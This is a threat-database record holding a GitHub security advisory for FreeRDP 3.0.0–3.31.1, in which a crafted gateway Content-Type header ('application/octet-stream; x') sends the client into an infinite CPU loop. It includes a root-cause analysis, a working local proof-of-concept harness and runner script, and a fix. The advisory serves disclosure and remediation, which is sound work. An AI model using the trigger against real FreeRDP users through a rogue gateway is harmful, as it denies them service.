{"schema":"threatline.record/2","record":{"id":"GHSA-h7fx-22wv-4cg8","aliases":["GHSA-h7fx-22wv-4cg8"],"summary":"A crafted gateway Content-Type header causes an infinite CPU loop in FreeRDP","details":"## Executive Summary\r\n\r\nMallory operates a gateway that Alice selects for a FreeRDP connection, or Mallory has compromised Alice's configured gateway. After the transport is established, Mallory returns a complete HTTP response whose `Content-Type` is `application/octet-stream; x` and whose `Content-Length` is nonzero. FreeRDP's gateway response parser reaches the semicolon, repeatedly searches from that same semicolon, and never makes progress. The client connection thread remains runnable and consumes one CPU core until the process or connection attempt is terminated externally. This does not bypass TLS: a generic on-path attacker would still need to satisfy or defeat the applicable certificate trust decision.\r\n\r\nThe defective scan is present in every inspected GA FreeRDP 3.x tag from 3.0.0 through 3.31.1, all 50 such tags available in the repository. It also remains in the supported development branch inspected after 3.31.1. No fixed release was found. The demonstrated impact is availability loss only; there is no evidence of confidentiality loss, integrity impact, memory corruption, code execution, or privilege escalation.\r\n\r\nI reviewed the supported release and development source, traced the scan to the 2018 Content-Type parsing change, and ran the real `http_response_recv()` production object through its socket-backed BIO interface. A recognized `application/rpc` control returned normally. The crafted header timed out in three of three runs, remained runnable at approximately one full CPU, and produced a stack snapshot inside the production Content-Type parser.\r\n\r\n## Background\r\n\r\nFreeRDP supports Remote Desktop Gateway transports. Gateway HTTP responses are delivered to `http_response_recv()` through `rdpTls.bio`, the BIO that exposes bytes after the transport layer has processed them. The parser reads the complete header, stores `Content-Type` and `Content-Length`, and decides whether the declared length should control the body read.\r\n\r\nThe decision helper recognizes `application/rpc`, `text/plain`, `text/html`, and `application/json`. The parser also attempts to scan beyond an unrecognized value when a semicolon is present. Regardless of whether the peer's value is recognized, the parser should either advance to the next token or reject the header. A peer-controlled header must not trap the client in CPU-only code where the gateway response timeout cannot run.\r\n\r\nThe assessed topology is a FreeRDP client using an attacker-controlled or compromised gateway. Alice initiates the connection and therefore supplies the user interaction represented in the severity score. The PoC uses a local socket pair and calls the same production parser boundary; it does not contact a gateway, a remote desktop server, or any external system.\r\n\r\n## Vulnerability Details\r\n\r\nIn FreeRDP 3.31.1, `http_response_parse_header_field()` copies the gateway's `Content-Type` value into `response->ContentType`. When the response has a nonzero `Content-Length`, `http_response_recv()` scans that string:\r\n\r\n```c\r\n/* libfreerdp/core/gateway/http.c, http_response_recv(), FreeRDP 3.31.1 */\r\nif (readContentLength && (response->ContentLength > 0))\r\n{\r\n\tconst char* cur = response->ContentType;\r\n\r\n\twhile (cur != nullptr)\r\n\t{\r\n\t\tif (http_use_content_length(cur))\r\n\t\t{\r\n\t\t\tif (response->ContentLength < RESPONSE_SIZE_LIMIT)\r\n\t\t\t\tbodyLength = response->ContentLength;\r\n\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\telse\r\n\t\t\treadContentLength = FALSE; /* prevent chunked read */\r\n\r\n\t\tcur = strchr(cur, ';');\r\n\t}\r\n}\r\n```\r\n\r\nFor `application/octet-stream; x`, the first call to `http_use_content_length(cur)` returns false. The first `strchr(cur, ';')` returns a pointer to the semicolon. On the next iteration, `cur` already points to that character, so `strchr(cur, ';')` returns the same pointer. Neither branch changes the string or advances `cur`, making the loop invariant permanent.\r\n\r\nThe configured gateway response timeout does not mitigate this condition. Timeout checks occur around BIO reads; after the header has been parsed, this loop performs no further I/O and never reaches the body reader. Closing the peer socket also cannot release a thread that no longer reads from it.\r\n\r\nThe scan was introduced by the public `d05684a50` change, which expanded Content-Type handling and added the semicolon loop. Direct inspection found the same non-advancing statement in every GA 3.x release tag from 3.0.0 through 3.31.1. Current supported development source retains it, and no fixing change or backport was found.\r\n\r\n## Exploitability Analysis\r\n\r\nThe established primitive is a deterministic client-side CPU denial of service. Mallory controls one gateway HTTP response. Alice must connect through that gateway, and the response must contain a nonzero `Content-Length` and an unrecognized `Content-Type` containing a semicolon. Authentication to the eventual desktop is not required for the parser failure, but the applicable gateway transport and TLS trust prerequisites still apply.\r\n\r\nThe production-path comparison changed only the Content-Type value. With `application/rpc`, the parser returned the one-byte body and exited 0. With `application/octet-stream; x`, an external timeout ended the still-running parser after three seconds. CPU sampling showed the process in runnable state before and after the sample interval, with user CPU advancing by roughly one second while system CPU remained unchanged. A signal-triggered backtrace resolved inside `http_response_recv()` or its inlined `http_use_content_length()` helper, depending on the exact sampling point.\r\n\r\nThree additional bounded repetitions were unanimous: all three controls returned, while all three crafted responses timed out without reaching the return marker. This rules out a blocked socket read, incomplete response, generic parser failure, and slow sanitizer startup as explanations for the hang.\r\n\r\nThe impact is limited to availability. One crafted connection pins one client thread and typically one core. The evidence does not establish process-wide multi-core exhaustion from one response, persistent compromise, data exposure, data modification, or code execution. A conservative CVSS 3.1 assessment is `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` (6.5, Medium).\r\n\r\n## Proof of Concept\r\n\r\nThe PoC links the supplied FreeRDP build's actual `http.c.o`, constructs a complete response, writes it through one end of a stream socket pair, and assigns the other end to `rdpTls.bio`. The runner accepts only the verified parser hashes for FreeRDP 3.31.1 and the assessed supported development source. It bounds the positive case with `timeout`, samples `/proc` CPU counters, captures a signal backtrace, verifies that the stack resolves within the production Content-Type parser, and removes its temporary build and logs on exit.\r\n\r\nThe positive case intentionally consumes one CPU core for approximately three seconds. It does not open a network connection, change source files, or persist generated files.\r\n\r\nFrom the report directory, prepare a sanitizer-enabled FreeRDP 3.31.1 build:\r\n\r\n```sh\r\ngit clone --depth 1 --branch 3.31.1 https://github.com/FreeRDP/FreeRDP.git FreeRDP-3.31.1\r\ncmake -S FreeRDP-3.31.1 -B FreeRDP-3.31.1/build-poc \\\r\n  -DCMAKE_BUILD_TYPE=Debug -DBUILD_SHARED_LIBS=ON \\\r\n  -DCMAKE_C_FLAGS='-O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer' \\\r\n  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'\r\ncmake --build FreeRDP-3.31.1/build-poc -j2\r\ncd poc\r\n./run.sh ../FreeRDP-3.31.1 ../FreeRDP-3.31.1/build-poc\r\n```\r\n\r\nIf FreeRDP's dependencies are installed in a nonstandard prefix, supply the corresponding `CPPFLAGS`, `LDFLAGS`, and `LD_LIBRARY_PATH`; the runner preserves those variables. The final packaged runner was replayed against the verified supported development parser and produced:\r\n\r\n```text\r\nassessed source: verified supported master parser\r\nparser SHA-256: 7aad1242f11874d18b71c807a816b0f3da9428c8f4236b47ec98eb3c4092242e\r\ncontrol: rc=0, returned body-length=1 body-byte=X\r\npositive: rc=124, states=R/R, user-tick delta=101, system ticks=8/8\r\nstack: http_use_content_length in libfreerdp/core/gateway/http.c Content-Type parser\r\nPASS: recognized control returned; crafted Content-Type pinned the production parser until timeout.\r\n```\r\n\r\nThe source/build paths are caller-provided. The `Makefile` expects the ordinary CMake object layout and a shared build containing `libfreerdp3` and `libwinpr3`.\r\n\r\n<!-- BEGIN FILE: poc/http_response_socket_e2e.c -->\r\n```c\r\n#include <errno.h>\r\n#include <execinfo.h>\r\n#include <signal.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#include <sys/socket.h>\r\n#include <unistd.h>\r\n\r\n#include <openssl/bio.h>\r\n\r\n#include <freerdp/freerdp.h>\r\n#include <freerdp/settings.h>\r\n\r\n#include \"libfreerdp/core/gateway/http.h\"\r\n\r\nstatic void dump_stack(int sig)\r\n{\r\n\tvoid* frames[32] = { 0 };\r\n\tconst int count = backtrace(frames, 32);\r\n\tstatic const char marker[] = \"SIGUSR1 stack snapshot:\\n\";\r\n\t(void)sig;\r\n\t(void)write(STDERR_FILENO, marker, sizeof(marker) - 1);\r\n\tbacktrace_symbols_fd(frames, count, STDERR_FILENO);\r\n}\r\n\r\nstatic int write_all(int fd, const char* data, size_t length)\r\n{\r\n\twhile (length > 0)\r\n\t{\r\n\t\tconst ssize_t written = write(fd, data, length);\r\n\t\tif (written < 0)\r\n\t\t{\r\n\t\t\tif (errno == EINTR)\r\n\t\t\t\tcontinue;\r\n\t\t\treturn -1;\r\n\t\t}\r\n\t\tdata += written;\r\n\t\tlength -= (size_t)written;\r\n\t}\r\n\treturn 0;\r\n}\r\n\r\nint main(int argc, char* argv[])\r\n{\r\n\tif ((argc != 2) || ((strcmp(argv[1], \"control\") != 0) &&\r\n\t                    (strcmp(argv[1], \"positive\") != 0)))\r\n\t{\r\n\t\tfprintf(stderr, \"usage: %s control|positive\\n\", argv[0]);\r\n\t\treturn 2;\r\n\t}\r\n\r\n\tstruct sigaction sa = { 0 };\r\n\tsa.sa_handler = dump_stack;\r\n\tsigemptyset(&sa.sa_mask);\r\n\tif (sigaction(SIGUSR1, &sa, NULL) != 0)\r\n\t{\r\n\t\tperror(\"sigaction\");\r\n\t\treturn 3;\r\n\t}\r\n\r\n\tconst char* content_type =\r\n\t    strcmp(argv[1], \"control\") == 0 ? \"application/rpc\" : \"application/octet-stream; x\";\r\n\tchar response[512] = { 0 };\r\n\tconst int length = snprintf(response, sizeof(response),\r\n\t                            \"HTTP/1.1 200 OK\\r\\n\"\r\n\t                            \"Content-Type: %s\\r\\n\"\r\n\t                            \"Content-Length: 1\\r\\n\"\r\n\t                            \"Connection: close\\r\\n\"\r\n\t                            \"\\r\\n\"\r\n\t                            \"X\",\r\n\t                            content_type);\r\n\tif ((length <= 0) || ((size_t)length >= sizeof(response)))\r\n\t\treturn 4;\r\n\r\n\tint sockets[2] = { -1, -1 };\r\n\tif (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) != 0)\r\n\t{\r\n\t\tperror(\"socketpair\");\r\n\t\treturn 5;\r\n\t}\r\n\tif ((write_all(sockets[1], response, (size_t)length) != 0) ||\r\n\t    (shutdown(sockets[1], SHUT_WR) != 0))\r\n\t{\r\n\t\tperror(\"write/shutdown\");\r\n\t\treturn 6;\r\n\t}\r\n\tclose(sockets[1]);\r\n\r\n\tfreerdp* instance = freerdp_new();\r\n\tif (!instance || !freerdp_context_new(instance))\r\n\t{\r\n\t\tfprintf(stderr, \"failed to initialize FreeRDP context\\n\");\r\n\t\tfreerdp_free(instance);\r\n\t\treturn 7;\r\n\t}\r\n\r\n\trdpTls tls = { 0 };\r\n\ttls.context = instance->context;\r\n\ttls.bio = BIO_new_socket(sockets[0], BIO_CLOSE);\r\n\tif (!tls.bio)\r\n\t{\r\n\t\tfprintf(stderr, \"BIO_new_socket failed\\n\");\r\n\t\tfreerdp_context_free(instance);\r\n\t\tfreerdp_free(instance);\r\n\t\treturn 8;\r\n\t}\r\n\r\n\tfprintf(stderr, \"mode=%s bytes=%d content-type=%s\\n\", argv[1], length, content_type);\r\n\tfflush(stderr);\r\n\tHttpResponse* parsed = http_response_recv(&tls, TRUE);\r\n\tif (!parsed)\r\n\t{\r\n\t\tfprintf(stderr, \"http_response_recv returned null\\n\");\r\n\t\tBIO_free(tls.bio);\r\n\t\tfreerdp_context_free(instance);\r\n\t\tfreerdp_free(instance);\r\n\t\treturn 9;\r\n\t}\r\n\r\n\tconst size_t body_length = http_response_get_body_length(parsed);\r\n\tconst char* body = http_response_get_body(parsed);\r\n\tconst int valid = (body_length == 1) && body && (body[0] == 'X');\r\n\tfprintf(stderr, \"returned body-length=%zu body-byte=%c\\n\", body_length,\r\n\t        (body && (body_length > 0)) ? body[0] : '?');\r\n\thttp_response_free(parsed);\r\n\tBIO_free(tls.bio);\r\n\tfreerdp_context_free(instance);\r\n\tfreerdp_free(instance);\r\n\treturn valid ? 0 : 10;\r\n}\r\n```\r\n<!-- END FILE: poc/http_response_socket_e2e.c -->\r\n\r\n<!-- BEGIN FILE: poc/Makefile -->\r\n```makefile\r\nCC ?= cc\r\nSOURCE ?=\r\nBUILD ?=\r\nOUT ?=\r\n\r\nifeq ($(strip $(SOURCE)),)\r\n$(error Set SOURCE to a supported FreeRDP source directory)\r\nendif\r\nifeq ($(strip $(BUILD)),)\r\n$(error Set BUILD to its sanitizer-enabled build directory)\r\nendif\r\nifeq ($(strip $(OUT)),)\r\n$(error Set OUT to the output executable path)\r\nendif\r\n\r\nHTTP_OBJECT := $(BUILD)/libfreerdp/CMakeFiles/freerdp.dir/core/gateway/http.c.o\r\nINCLUDES := -I$(SOURCE) -I$(SOURCE)/winpr/include -I$(BUILD)/winpr/include \\\r\n\t-I$(BUILD) -I$(BUILD)/include -I$(SOURCE)/include\r\nLIBRARY_DIRS := -L$(BUILD)/libfreerdp -L$(BUILD)/winpr/libwinpr\r\n\r\n.PHONY: all\r\nall:\r\n\t@test -f \"$(HTTP_OBJECT)\" || { echo \"missing production object: $(HTTP_OBJECT)\" >&2; exit 1; }\r\n\t$(CC) -O0 -g -rdynamic -fsanitize=address,undefined -fno-omit-frame-pointer \\\r\n\t\t$(CPPFLAGS) $(INCLUDES) http_response_socket_e2e.c \"$(HTTP_OBJECT)\" \\\r\n\t\t-o \"$(OUT)\" $(LDFLAGS) -Wl,--allow-shlib-undefined $(LIBRARY_DIRS) \\\r\n\t\t-lfreerdp3 -lwinpr3 -lssl -lcrypto -lm -lpthread -ldl\r\n```\r\n<!-- END FILE: poc/Makefile -->\r\n\r\n<!-- BEGIN FILE: poc/run.sh -->\r\n```sh\r\n#!/bin/sh\r\nset -eu\r\n\r\nif [ \"$#\" -ne 2 ]; then\r\n\techo \"usage: $0 FREE_RDP_SOURCE FREE_RDP_ASAN_BUILD\" >&2\r\n\texit 2\r\nfi\r\n\r\nsource_dir=$1\r\nbuild_dir=$2\r\nscript_dir=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\r\nwork_dir=$(mktemp -d \"${TMPDIR:-.}/freerdp-http-content-type.XXXXXX\")\r\nwork_dir=$(CDPATH= cd -- \"$work_dir\" && pwd)\r\ntimeout_pid=\r\n\r\ncleanup()\r\n{\r\n\tif [ -n \"$timeout_pid\" ]; then\r\n\t\tkill -KILL \"$timeout_pid\" 2>/dev/null || true\r\n\tfi\r\n\trm -rf \"$work_dir\"\r\n}\r\ntrap cleanup EXIT HUP INT TERM\r\n\r\nexpected_3311=096b3f622db7e0dff31db98ffcd6e27d73d50ec40bf8114986b949c0f852169d\r\nexpected_supported_master=7aad1242f11874d18b71c807a816b0f3da9428c8f4236b47ec98eb3c4092242e\r\nactual=$(sha256sum \"$source_dir/libfreerdp/core/gateway/http.c\" | awk '{print $1}')\r\ncase \"$actual\" in\r\n\t\"$expected_3311\") assessed_source='FreeRDP 3.31.1' ;;\r\n\t\"$expected_supported_master\") assessed_source='verified supported master parser' ;;\r\n\t*)\r\n\t\techo \"refusing unverified parser source hash: $actual\" >&2\r\n\t\texit 3\r\n\t\t;;\r\nesac\r\n\r\nmake -s -C \"$script_dir\" SOURCE=\"$source_dir\" BUILD=\"$build_dir\" \\\r\n\tOUT=\"$work_dir/http_response_socket_e2e\"\r\n\r\nruntime_path=$(find \"$build_dir\" -type f -name '*.so.*' -printf '%h\\n' | sort -u | paste -sd: -)\r\ndependencies=$(dirname -- \"$build_dir\")/deps\r\nif [ -d \"$dependencies\" ]; then\r\n\tdependency_path=$(find \"$dependencies\" -type f -name '*.so.*' -printf '%h\\n' | sort -u | paste -sd: -)\r\n\tif [ -n \"$dependency_path\" ]; then\r\n\t\truntime_path=$runtime_path:$dependency_path\r\n\tfi\r\nfi\r\nif [ -n \"${LD_LIBRARY_PATH:-}\" ]; then\r\n\truntime_path=$runtime_path:$LD_LIBRARY_PATH\r\nfi\r\nasan_options=detect_leaks=0:halt_on_error=1\r\n\r\nset +e\r\nLD_LIBRARY_PATH=\"$runtime_path\" ASAN_OPTIONS=\"$asan_options\" \\\r\n\ttimeout 3 \"$work_dir/http_response_socket_e2e\" control \\\r\n\t>\"$work_dir/control.stdout\" 2>\"$work_dir/control.stderr\"\r\ncontrol_rc=$?\r\nset -e\r\ntest \"$control_rc\" -eq 0\r\ngrep -q 'returned body-length=1 body-byte=X' \"$work_dir/control.stderr\"\r\n\r\nLD_LIBRARY_PATH=\"$runtime_path\" ASAN_OPTIONS=\"$asan_options\" \\\r\n\ttimeout 3 \"$work_dir/http_response_socket_e2e\" positive \\\r\n\t>\"$work_dir/positive.stdout\" 2>\"$work_dir/positive.stderr\" &\r\ntimeout_pid=$!\r\nsleep 1\r\nparser_pid=$(ps -o pid= --ppid \"$timeout_pid\" | tr -d ' ' | head -1)\r\ntest -n \"$parser_pid\"\r\n\r\nset -- $(awk '{print $3, $14, $15}' \"/proc/$parser_pid/stat\")\r\nstate_before=$1\r\nuser_before=$2\r\nsystem_before=$3\r\nkill -USR1 \"$parser_pid\"\r\nsleep 1\r\nset -- $(awk '{print $3, $14, $15}' \"/proc/$parser_pid/stat\")\r\nstate_after=$1\r\nuser_after=$2\r\nsystem_after=$3\r\n\r\nset +e\r\nwait \"$timeout_pid\"\r\npositive_rc=$?\r\nset -e\r\ntimeout_pid=\r\ntest \"$positive_rc\" -eq 124\r\ntest \"$state_before\" = R\r\ntest \"$state_after\" = R\r\nuser_delta=$((user_after - user_before))\r\ntest \"$user_delta\" -ge 25\r\n! grep -q 'returned body-length' \"$work_dir/positive.stderr\"\r\n\r\nsed -n 's/.*http_response_socket_e2e(+\\(0x[0-9a-fA-F]*\\)).*/\\1/p' \\\r\n\t\"$work_dir/positive.stderr\" >\"$work_dir/offsets\"\r\ntest -s \"$work_dir/offsets\"\r\naddr2line -f -C -e \"$work_dir/http_response_socket_e2e\" \\\r\n\t$(cat \"$work_dir/offsets\") >\"$work_dir/resolved-stack\"\r\nif grep -q '^http_response_recv$' \"$work_dir/resolved-stack\"; then\r\n\tstack_symbol=http_response_recv\r\nelif grep -q '^http_use_content_length$' \"$work_dir/resolved-stack\"; then\r\n\tstack_symbol=http_use_content_length\r\nelse\r\n\techo 'stack snapshot did not resolve inside the production Content-Type parser' >&2\r\n\texit 4\r\nfi\r\ngrep -Eq 'libfreerdp/core/gateway/http.c:(9[4-6][0-9]|970|13(7[4-9]|8[0-9]|9[01]))([[:space:]]|$)' \\\r\n\t\"$work_dir/resolved-stack\"\r\n\r\nprintf 'assessed source: %s\\n' \"$assessed_source\"\r\nprintf 'parser SHA-256: %s\\n' \"$actual\"\r\nprintf 'control: rc=%s, returned body-length=1 body-byte=X\\n' \"$control_rc\"\r\nprintf 'positive: rc=%s, states=%s/%s, user-tick delta=%s, system ticks=%s/%s\\n' \\\r\n\t\"$positive_rc\" \"$state_before\" \"$state_after\" \"$user_delta\" \"$system_before\" \"$system_after\"\r\nprintf 'stack: %s in libfreerdp/core/gateway/http.c Content-Type parser\\n' \"$stack_symbol\"\r\necho 'PASS: recognized control returned; crafted Content-Type pinned the production parser until timeout.'\r\n```\r\n<!-- END FILE: poc/run.sh -->\r\n\r\n## Remediation\r\n\r\nThe scan must either advance beyond the delimiter or stop. A minimal source-compatible correction is to search for the next semicolon, break when none exists, then move at least one character forward before another iteration. Leading optional whitespace can be skipped after advancing:\r\n\r\n```c\r\nconst char* next = strchr(cur, ';');\r\nif (!next)\r\n\tbreak;\r\ncur = next + 1;\r\nwhile (*cur && isspace((unsigned char)*cur))\r\n\tcur++;\r\n```\r\n\r\nThe parser should also decide whether semicolon-delimited parameters are intended to be searched as independent media types. If not, rejecting an unrecognized media type is simpler and avoids ambiguous parameter handling. In either design, enforce an explicit progress invariant so future parsing changes cannot repeat the same pointer indefinitely.\r\n\r\nAdd a regression test through `http_response_recv()` using a socket or memory BIO and a complete response. The test should cover recognized `application/rpc`, unrecognized content without a semicolon, the exact `application/octet-stream; x` trigger, a trailing semicolon, whitespace after the delimiter, and multiple delimiters. Each case must complete within a short bound, and recognized content must still honor the declared body length.\r\n\r\nNo shipped fix or fixed release was identified at the assessed revisions.\r\n\r\n## Summary\r\n\r\nFreeRDP 3.0.0 through 3.31.1, and the inspected supported development source, can enter an infinite CPU loop while parsing a gateway-controlled Content-Type header. A malicious or compromised gateway can trigger the condition with a complete response containing a nonzero Content-Length and `Content-Type: application/octet-stream; x`. The verified result is a client connection thread pinned at one core until external termination, with no demonstrated confidentiality, integrity, or code-execution impact.","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-h7fx-22wv-4cg8","source_modified_at":"2026-09-29T13:02:35Z","fetched_at":"2026-10-23T21:47:51.402276Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":">= 3.0.0, <= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-h7fx-22wv-4cg8","source_modified_at":"2026-09-29T13:02:35Z","fetched_at":"2026-10-23T21:47:51.402276Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":6.5,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-29T13:02:35Z","modified_at":"2026-09-29T13:02:35Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-h7fx-22wv-4cg8","fetched_at":"2026-10-23T21:47:51.402276Z","source_modified_at":"2026-09-29T13:02:35Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-29T13:02:35Z","content_hash":"f1f1653df28935cd91297b85733bbe7b5e82502c53e182e82f870366ba20c047"}}
